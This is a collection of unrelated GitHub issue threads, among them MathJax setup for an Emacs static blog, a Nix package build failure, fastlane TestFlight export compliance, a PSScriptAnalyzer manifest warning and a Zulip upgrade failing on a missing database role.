Fixes travis build

Checklist

[x] I have read the Contribution & Best practices Guide.
[x] My branch is up-to-date with the Upstream development branch.

Fixes #2071

Too many build failures, opening a new PR for this issue.


Mathjax?

Hey - I was expecting the default org export behaviour of adding a script tag to import mathjax and some settings when latex support is needed on a page, but I notice that this doesn't happen with the static blog?
Is this deliberate? Can/should it be fixed?

You need to add it yourself in org-static-blog-page-header.

I added these to the org-static-blog-page-header and it worked for me:
<script type=\"text/javascript\"
             src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML\">
           </script>
           <script type=\"text/x-mathjax-config\">
             MathJax.Hub.Config({tex2jax: {inlineMath: [['$','$'],['\\\\(','\\\\)']]}});
           </script>"

By the way, you may want to consider using https://katex.org/ instead of Mathjax, which is mostly compatible but much faster.


Test issue

Testing automated jira ticket migration, please ignore

Comment from Andrew Lamb(alamb) @ 2021-04-24T11:08:18.274+0000:
this is a test


require for training code

hi, is there any training script or doc for reproduce our great repo? thanks for your reply.

+1

+1

hi, currently, due to some limitations, we may not release the training code. But you can refer to: https://github.com/Lightning-AI/litgpt/blob/main/litgpt/pretrain.py, we modify training code based on this.

hi, currently, due to some limitations, we may not release the training code. But you can refer to: https://github.com/Lightning-AI/litgpt/blob/main/litgpt/pretrain.py, we modify training code based on this.

Hi @mini-omni ,Thanks for your information, it's really important for reimpl training code. May I kindly require the commit hash of litgpt  which your implementation based on? since that repo has been updated these time.

For example, When I use litgpt==0.4.12, runlitgpt pretrain --config mini-omni/checkpoint/model_config.yaml, it raise errors:
usage: litgpt [-h] [--config CONFIG] [--print_config[=flags]]
              {download,chat,finetune,finetune_lora,finetune_full,finetune_adapter,finetune_adapter_v2,pretrain,generate,generate_full,generate_adapter,generate_adapter_v2,generate_sequentially,generate_tp,convert_to_litgpt,convert_from_litgpt,convert_pretrained_checkpoint,merge_lora,evaluate,serve}
              ...
error: Validation failed: Key "pretrain.model_name" is required but not included in config object or its value is None

I guess this is caused by the updating of litgpt source code.

@vra, hi, we started from commit d367a1199a and modified from it.And the model_config may not be compatible.

@mini-omni 感谢分享，近期在复现中有更多问题，能否麻烦您再回答一下：

根据论文Table1, Stage1 训练只采用ASR数据，但根据论文Figure3, Stage1 ASR Adapter和TTS Adapter都会训练，所以数据上，是将ASR数据用大模型跑了回答文本，再用TTS模型跑了回答文本的Audio吗，如果是这样，那回答文本和音频分别是用什么大模型和TTS跑的呢
Stage2只训练文本模态，那论文Figure3中Stage2的图中，Audio是什么呢，因为文本对话数据集是没有Audio的

@mini-omni better to release the actual training code for mini omni, it's very much helpful to expand for other languages also

@vra hi,

Train tts_adapter: tts_text_in --> tts_audio_out. asr_adapter: asr_audio_in --> asr_text_out. You can also not train tts_adapter, and use question_audio_in --> question_audio_out to train voice output capabilities in the final stage.
The essence of stage2 is to train question_audio_in --> answer_text_out. Here, question_audio is synthesized based on question_text.

@mini-omni  could you please provide the Actual training scripts in litgpt?

@miyashita-code hi, due to some limitations, we may not release the exact training code.


on each first launch of the day, check of new version is available

Like on Oh My Zsh, when lauching cleaver, check if a newer version is available.

I'm thinking a good plan of action here could be to add a cleaver update command and automatically run that as you suggested.

:+1:  for your idea !

NPM already offers a command for this:
npm view cleaver version
Closing for now, feel free to reopen.


Avoid default message when no results

Can you please provide an option to disable the default custom message that appears when no results? Or atleast an option to change it ..
At the moment i'm getting "Sorry! We've got no result for your query" when i have no results..
I noticed that you have in your code an option called "resultNotFoundMsgBody". To get this achieved you only need to get the value from the option parameter and pass it to this variable. Thanks.

For the ones that need something like this, you can override the lookup function by passing to the options when initializing it like this:
`        lookup: function (event) {
var that = this, items;
if (that.ajax) {
that.ajaxer();
}
else {
that.query = that.$element.val();
            if (!that.query) {
                return that.shown ? that.hide() : that;
            }

            items = that.grepper(that.source);

            if (!items) {
                return that.shown ? that.hide() : that;
            }
            //Bhanu added a custom message- Result not Found when no result is found
            if (items.length == 0) {
                items[0] = {'id': -21, 'name': that.options.resultNotFoundMsgBody};
                return that.render(items.slice(0, that.options.items), false).show();
            }
            return that.render(items.slice(0, that.options.items)).show();
        }
    },`


facette: 0.4.0 -> 0.4.1

Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

@GrahamcOfBorg build facette

No attempt on aarch64-linux (full log)
The following builds were skipped because they don't evaluate on aarch64-linux: facette
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

Failure on x86_64-linux (full log)
Attempted: facette
Partial log (click to expand)
npm ERR! network
npm ERR! network If you are behind a proxy, please make sure that the
npm ERR! network 'proxy' config is set properly.  See: 'npm help config'

npm ERR! A complete log of this run can be found in:
npm ERR!     /build/npm-1000/.npm/_logs/2018-08-20T09_49_17_946Z-debug.log
result: fail
make: *** [Makefile:153: node_modules] Error 1
builder for '/nix/store/xr50yxa2ca2yfcasdzgqwlr4z28d9m1w-facette-0.4.1.drv' failed with exit code 2
error: build of '/nix/store/xr50yxa2ca2yfcasdzgqwlr4z28d9m1w-facette-0.4.1.drv' failed

No attempt on aarch64-linux (full log)
The following builds were skipped because they don't evaluate on aarch64-linux: facette
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

Failure on x86_64-linux (full log)
Attempted: facette
Partial log (click to expand)
npm ERR! network
npm ERR! network If you are behind a proxy, please make sure that the
npm ERR! network 'proxy' config is set properly.  See: 'npm help config'

npm ERR! A complete log of this run can be found in:
npm ERR!     /build/npm-1000/.npm/_logs/2018-08-20T10_00_05_861Z-debug.log
result: fail
make: *** [Makefile:153: node_modules] Error 1
builder for '/nix/store/xr50yxa2ca2yfcasdzgqwlr4z28d9m1w-facette-0.4.1.drv' failed with exit code 2
error: build of '/nix/store/xr50yxa2ca2yfcasdzgqwlr4z28d9m1w-facette-0.4.1.drv' failed

Right... this requires an itnernet connection to build, which is why we don't have facette cached in nixpkgs :-/

Can you get the compiled assets from the release tarball? https://github.com/facette/facette/releases

I just marked it as broken for now

I'll open an issue about the assets and fix it later

No attempt on aarch64-linux (full log)
The following builds were skipped because they don't evaluate on aarch64-linux: facette
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowBroken = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowBroken = true; }
to ~/.config/nixpkgs/config.nix.

No attempt on x86_64-linux (full log)
The following builds were skipped because they don't evaluate on x86_64-linux: facette
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowBroken = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowBroken = true; }
to ~/.config/nixpkgs/config.nix.


Provide details for CC encryption

https://cockroachlabs.slack.com/archives/CBE9QQC4S/p1594411074104600?thread_ts=1594410526.103800&cid=CBE9QQC4S

Closing - dupe of https://github.com/cockroachdb/docs/issues/9256 (which was addressed)


Task linking

In Jira Agile, there's 7 types of task links:

relates to
blocks
is blocked by
clones
is cloned by
duplicates
is duplicated by

Should Kanboard have these too?

see #92


Can't provide export_compliance options to upload_to_testflight

New Issue Checklist

[x] Updated fastlane to the latest version
[x] I read the Contribution Guidelines
[x] I read docs.fastlane.tools
[x] I searched for existing GitHub issues

Issue Description
When uploading a CI build for testing to testflight, our builds are getting stuck in "Export Compliance Required" land, and require a manual approval in iTunes Connect, even though nothing has changed since the last build. It doesn't seem like upload_to_testflight accepts any of the submission_information properties like 'export_compliance_uses_encryption' or 'export_compliance_encryption_updated' that one would include in deliver.

Is there a way for to pass this down so that testflight builds require manual approval every time? This is purely for a beta build to internal testflight testers.

Here's a snippet from our Fastfile:
 lane :beta do
    increment_build_number(build_number: ENV['CIRCLE_BUILD_NUM'], xcodeproj: "myapp.xcodeproj")
    match(type: "appstore")
    gym(workspace: "myapp.xcworkspace", scheme: "myapp", export_method: "app-store" )
    upload_to_testflight
    slack(message: "App successfully uploaded to Testflight!", channel: "#ios")
    app_identifier "com.myco.myapp-beta"
 end

Not too sure about using Fastfile directly, but you can do this with spaceship, see sample code below:
build = Spaceship::TestFlight::Build.latest(app_id: appID, platform: "ios") build.export_compliance.uses_encryption = false build.export_compliance.encryption_updated = false build.submit_for_testflight_review!
I am actually trying to figure out if you can deal with the next layer of questions after you answer yes to encryption_updated with spaceship/Fastlane

@mpirri Hey Mark, I see that you commented on Issue-9788 regarding something similar. I have a follow up question, on Spaceship when I look at a build object
build = Spaceship::TestFlight::Build.latest(app_id: appID, platform: "ios")
I see
export_compliance=<Spaceship::TestFlight::ExportCompliance  		uses_encryption=nil,  		encryption_updated=nil>,
Is there a way to be able to answer the more detailed questions regarding encryption, after you answer yes to uses_encryption and encryption_updated? Does such a capability to answer the follow up questions exist through Spaceship?

@christaggart This should probably be a setting in deliver but cou can also set the ITSAppUsesNonExemptEncryption setting in your Info.plist to completely bypass that question - https://stackoverflow.com/questions/35739361/itsappusesnonexemptencryption-export-compliance-while-internal-testing

@joshdholtz I can take this one. How about we call the update_info_plist action inside deliver to update this setting in the Info.plist?

@joshdholtz I can take this one. How about we call the update_info_plist action inside deliver to update this setting in the Info.plist?

Adding ITSAppUsesNonExemptEncryption seemed to have resolved it for us, but the deliver setting would definitely be a nice addition.

@RishabhTayal We don't want to update anything in the user's project from deliver and we also want to keep deliver standalone from any actions 🙃
@christaggart Glad this solved it for you! 😊 Happy fastlaning 🚀


Cannot update vcpkg

After git pull, executing bootstrap-vcpkg.bat ends with an error:

fatal error C1083: Cannot open include file: 'shlobj.h': No such file or directory

Hi @mateka,
You may need to reinstall the Windows SDK. It looks like an outdated 8.1 SDK is often the source of these issues [1].
For example, on my machine, this file is at:
C:\Program Files (x86)\Windows Kits\10\Include\10.0.14393.0\um\ShlObj.h
C:\Program Files (x86)\Windows Kits\8.1\Include\um\ShlObj.h
[1] http://stackoverflow.com/questions/9538509/why-am-i-receiving-this-error-when-i-attempt-to-build-qt-from-source-in-visual-s

Althought the files were present on my system, I could not build vcpkg. Today, I had pulled changes from git and reinstalled Windows 10 SDK from Visual Studio installer (Windows 8 SDK was deleted from my system way back, when I have deinstalled Visual Studio 2015) and now everything works! Thank You very much! :)


Tag length is only 20 characters

Causes Bot to panic if tag is > 20 chars.
Example of word causing issue - spring-cloud-services

IMO there is really no reason not to increase this to a bigger value to prevent similar issues - something like varchar(30) would be ok.


Invoke-ScriptAnalyzer outputs a warning on manifests that use ModuleToProcess

Right now for all of my modules I use ModuleToProcess in my manifest rather than the newer RootModule name.  Because of this, whenever I invoke Invoke-ScriptAnalyzer against my modules, I see the following warning:
WARNING: The module manifest member 'ModuleToProcess' has been deprecated. Use the 'RootModule' member instead.
This warning is suggesting that I change my manifest to use RootModule instead.  While I understand why this warning is there, I think it's too early to suggest people switch to ModuleToProcess for one key reason: you can still invoke PowerShell 2.0 even on Windows 10 with WMF5 by running PowerShell -Version 2.
Why does that matter?  Because RootModule was only added in PowerShell 3.0, and if you try to import a module that has the RootModule key in the manifest in PowerShell 2.0 you get a completely different experience than if you try to import a module that requires a higher version of PowerShell but that has the ModuleToProcess key in its manifest.  In the former scenario, users get an error that seems to indicate the module itself has a problem, pointing at some unknown RootModule key in the manifest.  That is a really poor user experience.  In the latter scenario, users get an error that properly indicates that the PowerShell version for the current session does not meet the minimum requirements for the module.  That user experience is exactly what I want for users of my modules, and that is exactly the type of error I hope they get from any module that they try to open in PowerShell 2.0 that requires a later version (unless, of course, those modules require the use of other new manifest keys that don't have an equivalent in PowerShell 2.0).
The latter scenario is much better for the community, and since even with Windows 10/WMF5 users may open PowerShell 2.0, for modules that require PowerShell 3.0 or later I think it's a better practice to stick with ModuleToProcess as the key that identifies what module will be processed when the manifest is loaded.  Only when PowerShell 2.0 is really out of sight/out of mind should this warning start appearing so that manifests are updated to use the new key name.

Hi Kirk.
We made some fixes in this area:
https://github.com/PowerShell/PSScriptAnalyzer/pull/149
Also added a new rule to validate for usage of deprecated manifest properties:
https://github.com/PowerShell/PSScriptAnalyzer/issues/150
-Raghu

Thanks @KirkMunro, we recently added this AvoidUsingDeprecatedManifestField rule and I think the two scenarios you describe make sense. We want to encourage more people use latest version of PowerShell and maybe it is a better idea to tell users that there is a PowerShell version requirement when they run script analysis.

@KirkMunro Are you running PSScriptAnalyzer from the PowerShell gallery or building it from this repository?
The warning went away when #138 was closed, but came back in another form when the "AvoidUsingDeprecatedManifestFields" rule was added.
The real problem is that Test-ModuleManifest writes the warning without taking into account the PowerShell version being targeted by the module manifest.

@imfrancisd I'm using my forked version that supports PowerShell 3.0 or later.  I fetched the development branch from the source project yesterday, or the day before.  And since I'm using that fork (so that I can run it on my laptop which runs Windows 8.1/PowerShell 4 right now), I had to build it myself so that I could do that.
In my case, my modules target PowerShell 3.0 or later, where RootModule is available as a manifest key, but I still prefer using ModuleToProcess so that someone loading these modules on PS2.0 gets a more appropriate and useful error message.
@yutingc Yes, that's something I think would be more valuable, indicating the minimum required version.

Also being discussed in Issue #428

@KirkMunro By now. PowerShell v2.0 has been deprecated officially. Do you agree with closing this issue? I think what we rather need is a rule to warn if someone specifies 1.0 or 2.0 as a minimum PowerShell version.

Agreed. Closing this issue.


Error process-fts-updates

Hi, I'm using a Proxmox VM with:
SO: Ubuntu 18.04
Psql: 13.2
Zulip: 3.3
I have tried to update to version 4.2 (the latest one) and I always get an error in "process-fts-updates", thank goodness that I always have several backup copies at hand, because I have tried to update with git and download the file, and always the same error.
Likewise, I update the database with its corresponding command, but the error persists.

@xicuc can you provide the exact error message?  I don't think we can help you without more details.

Hello, here is the error, once the update command has been executed.
i ｢wdm｣: Webpack compilation successful.

./manage.py collectstatic --no-default-ignore -v0 --noinput --ignore=assets --ignore=emoji-styles --ignore=html --ignore=js --ignore=styles --ignore=templates
./manage.py compilemessages -v0
2021-05-24 16:09:37,764 upgrade-zulip-stage-2: Caching Zulip Git version...
fatal: Not a valid object name
2021-05-24 16:09:38,346 upgrade-zulip-stage-2: Checking for needed migrations
Traceback (most recent call last):
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 219, in ensure_connection
self.connect()
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 200, in connect
self.connection = self.get_new_connection(conn_params)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/postgresql/base.py", line 187, in get_new_connection
connection = Database.connect(**conn_params)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/psycopg2/init.py", line 127, in connect
conn = _connect(dsn, connection_factory=connection_factory, **kwasync)
File "/home/zulip/deployments/2021-05-24-17-58-51/zerver/lib/db.py", line 47, in init
super().init(*args, **kwargs)
psycopg2.OperationalError: FATAL:  role "zulip" does not exist

The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "./manage.py", line 52, in
execute_from_command_line(sys.argv)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/init.py", line 419, in execute_from_command_line
utility.execute()
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/init.py", line 413, in execute
self.fetch_command(subcommand).run_from_argv(self.argv)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/base.py", line 354, in run_from_argv
self.execute(*args, **cmd_options)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/base.py", line 398, in execute
output = self.handle(*args, **options)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/commands/showmigrations.py", line 52, in handle
return self.show_list(connection, options['app_label'])
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/commands/showmigrations.py", line 71, in show_list
loader = MigrationLoader(connection, ignore_no_migrations=True)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/migrations/loader.py", line 53, in init
self.build_graph()
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/migrations/loader.py", line 220, in build_graph
self.applied_migrations = recorder.applied_migrations()
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/migrations/recorder.py", line 77, in applied_migrations
if self.has_table():
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/migrations/recorder.py", line 55, in has_table
with self.connection.cursor() as cursor:
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 259, in cursor
return self._cursor()
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 235, in _cursor
self.ensure_connection()
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 219, in ensure_connection
self.connect()
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/utils.py", line 90, in exit
raise dj_exc_value.with_traceback(traceback) from exc_value
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 219, in ensure_connection
self.connect()
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 200, in connect
self.connection = self.get_new_connection(conn_params)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/postgresql/base.py", line 187, in get_new_connection
connection = Database.connect(**conn_params)
File "/home/zulip/deployments/2021-05-24-17-58-51/zulip-py3-venv/lib/python3.6/site-packages/psycopg2/init.py", line 127, in connect
conn = _connect(dsn, connection_factory=connection_factory, **kwasync)
File "/home/zulip/deployments/2021-05-24-17-58-51/zerver/lib/db.py", line 47, in init
super().init(*args, **kwargs)
django.db.utils.OperationalError: FATAL:  role "zulip" does not exist
Traceback (most recent call last):
File "/home/zulip/deployments/2021-05-24-17-58-51/scripts/lib/upgrade-zulip-stage-2", line 250, in
["./manage.py", "showmigrations"], preexec_fn=su_to_zulip, universal_newlines=True
File "/usr/lib/python3.6/subprocess.py", line 356, in check_output
**kwargs).stdout
File "/usr/lib/python3.6/subprocess.py", line 438, in run
output=stdout, stderr=stderr)
subprocess.CalledProcessError: Command '['./manage.py', 'showmigrations']' returned non-zero exit status 1.
Traceback (most recent call last):
File "./lib/upgrade-zulip-from-git", line 81, in
deploy_path, "--from-git"] + deploy_options)
File "/usr/lib/python3.6/subprocess.py", line 311, in check_call
raise CalledProcessError(retcode, cmd)
subprocess.CalledProcessError: Command '['/home/zulip/deployments/2021-05-24-17-58-51/scripts/lib/upgrade-zulip-stage-2', '/home/zulip/deployments/2021-05-24-17-58-51', '--from-git']' returned non-zero exit status 1.

root@server:/home/zulip/deployments/current/scripts# supervisorctl status
process-fts-updates                              FATAL     Exited too quickly (process log may have details)
zulip-django                                     STOPPED   May 24 06:04 PM
zulip-tornado                                    STOPPED   May 24 06:04 PM
zulip-workers:zulip_deliver_enqueued_emails      STOPPED   May 24 06:04 PM
zulip-workers:zulip_deliver_scheduled_messages   STOPPED   May 24 06:04 PM
zulip-workers:zulip_events                       STOPPED   May 24 06:04 PM

django.db.utils.OperationalError: FATAL: role "zulip" does not exist

This is your underlying problem -- your database does not appear to have the "zulip" user that was set up at install time.  Either Zulip is not configured to talk to the right database, or your database does not have the right data in it.
When you restored from backups, were you using the Zulip backups, or some other form?  Might they have failed to restore your database contents?

Excuse me but I solve the issue by reinstalling the zulip server with the same version and I can update it.
But now that I want to update again I get the same problems.
Here are the steps that I take one by one
Server: Ubuntu 18.04
VM: Proxmox
Copy to another Proxmox server a copy of the virtual machine, which works in production, and I start it.
The first thing I see is that the "process-fts-update" service is stopped when starting the copy of the virtual machine.
I restart the service, according to the instructions on the help page.
Once verified that everything is working, I proceed to make a backup (following the instructions of Zulip).
I download the file zulip-server-latest and install it with the command "upgrade-zulip"
And here all the errors:
Using cached Python venv from /srv/zulip-venv-cache/3738dadf748d3baa2eb0371a83c912149a50d964/zulip-py3-venv

ln -nsf /srv/zulip-venv-cache/3738dadf748d3baa2eb0371a83c912149a50d964/zulip-py3-venv /home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv
Node version 14.16.1 and yarn version 1.22.10 are already installed.
generate_secrets: No new secrets to generate.
2021-08-15 13:33:35,164 upgrade-zulip-stage-2: Installing static assets...
2021-08-15 13:33:45,856 upgrade-zulip-stage-2: Checking for needed migrations
Traceback (most recent call last):
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 219, in ensure_connection
self.connect()
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 200, in connect
self.connection = self.get_new_connection(conn_params)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/postgresql/base.py", line 187, in get_new_connection
connection = Database.connect(**conn_params)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/psycopg2/init.py", line 127, in connect
conn = _connect(dsn, connection_factory=connection_factory, **kwasync)
File "/home/zulip/deployments/2021-08-15-15-31-30/zerver/lib/db.py", line 47, in init
super().init(*args, **kwargs)
psycopg2.OperationalError: FATAL:  role "zulip" does not exist

The above exception was the direct cause of the following exception:
Traceback (most recent call last):
File "./manage.py", line 52, in
execute_from_command_line(sys.argv)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/init.py", line 419, in execute_from_command_line
utility.execute()
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/init.py", line 413, in execute
self.fetch_command(subcommand).run_from_argv(self.argv)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/base.py", line 354, in run_from_argv
self.execute(*args, **cmd_options)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/base.py", line 398, in execute
output = self.handle(*args, **options)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/commands/showmigrations.py", line 52, in handle
return self.show_list(connection, options['app_label'])
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/core/management/commands/showmigrations.py", line 71, in show_list
loader = MigrationLoader(connection, ignore_no_migrations=True)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/migrations/loader.py", line 53, in init
self.build_graph()
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/migrations/loader.py", line 220, in build_graph
self.applied_migrations = recorder.applied_migrations()
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/migrations/recorder.py", line 77, in applied_migrations
if self.has_table():
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/migrations/recorder.py", line 55, in has_table
with self.connection.cursor() as cursor:
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 259, in cursor
return self._cursor()
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 235, in _cursor
self.ensure_connection()
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 219, in ensure_connection
self.connect()
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/utils.py", line 90, in exit
raise dj_exc_value.with_traceback(traceback) from exc_value
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 219, in ensure_connection
self.connect()
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/base/base.py", line 200, in connect
self.connection = self.get_new_connection(conn_params)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/utils/asyncio.py", line 26, in inner
return func(*args, **kwargs)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/django/db/backends/postgresql/base.py", line 187, in get_new_connection
connection = Database.connect(**conn_params)
File "/home/zulip/deployments/2021-08-15-15-31-30/zulip-py3-venv/lib/python3.6/site-packages/psycopg2/init.py", line 127, in connect
conn = _connect(dsn, connection_factory=connection_factory, **kwasync)
File "/home/zulip/deployments/2021-08-15-15-31-30/zerver/lib/db.py", line 47, in init
super().init(*args, **kwargs)
django.db.utils.OperationalError: FATAL:  role "zulip" does not exist
Traceback (most recent call last):
File "/home/zulip/deployments/2021-08-15-15-31-30/scripts/lib/upgrade-zulip-stage-2", line 250, in
["./manage.py", "showmigrations"], preexec_fn=su_to_zulip, universal_newlines=True
File "/usr/lib/python3.6/subprocess.py", line 356, in check_output
**kwargs).stdout
File "/usr/lib/python3.6/subprocess.py", line 438, in run
output=stdout, stderr=stderr)
subprocess.CalledProcessError: Command '['./manage.py', 'showmigrations']' returned non-zero exit status 1.
root@zulip:/home/zulip/deployments/current/scripts# su zulip -c supervisorctl status all
process-fts-updates                              RUNNING   pid 4828, uptime 0:09:47
zulip-django                                     RUNNING   pid 4877, uptime 0:09:41
zulip-tornado                                    RUNNING   pid 4866, uptime 0:09:44
zulip-workers:zulip_deliver_scheduled_emails     STARTING
zulip-workers:zulip_deliver_scheduled_messages   RUNNING   pid 19741, uptime 0:00:01
zulip-workers:zulip_events                       RUNNING   pid 4820, uptime 0:09:48
supervisor>
Session terminated, terminating shell...
...terminated.
root@zulip:/home/zulip/deployments/current/scripts# supervisorctl status all
process-fts-updates                              STARTING
zulip-django                                     RUNNING   pid 4877, uptime 0:09:55
zulip-tornado                                    RUNNING   pid 4866, uptime 0:09:58
zulip-workers:zulip_deliver_scheduled_emails     STARTING
zulip-workers:zulip_deliver_scheduled_messages   STARTING
zulip-workers:zulip_events                       RUNNING   pid 4820, uptime 0:10:02
root@zulip:/home/zulip/deployments/current/scripts# supervisorctl status all
process-fts-updates                              BACKOFF   Exited too quickly (process log may have details)
zulip-django                                     RUNNING   pid 4877, uptime 0:09:59
zulip-tornado                                    RUNNING   pid 4866, uptime 0:10:02
zulip-workers:zulip_deliver_scheduled_emails     STARTING
zulip-workers:zulip_deliver_scheduled_messages   STARTING
